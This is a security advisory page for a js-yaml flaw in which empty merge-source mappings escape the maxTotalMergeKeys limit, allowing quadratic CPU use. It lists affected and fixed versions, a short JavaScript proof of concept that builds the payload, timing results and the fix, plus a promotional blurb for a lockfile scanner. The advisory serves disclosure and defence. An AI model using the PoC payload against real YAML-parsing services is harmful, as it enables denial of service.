js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Published 8 Sept 2026 · Updated 8 Sept 2026
Affected packages
- Affected
- >=4.0.0 <4.3.2
- Fixed in
- 4.3.2
npm install js-yaml@4.3.2- Affected
- >=3.0.0 <3.15.2
- Fixed in
- 3.15.2
npm install js-yaml@3.15.2Details
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K timesFor every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Is GHSA-2883-xcg3-v3hh in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected js-yaml, and gives you the command that fixes it.
References
- Linkgithub.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-84375
- Linkgithub.com/nodeca/js-yaml/pull/797
- Linkgithub.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
- Linkgithub.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
- Linkgithub.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
- Packagegithub.com/nodeca/js-yaml
- Linkgithub.com/nodeca/js-yaml/releases/tag/3.15.2
- Linkgithub.com/nodeca/js-yaml/releases/tag/4.3.2
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.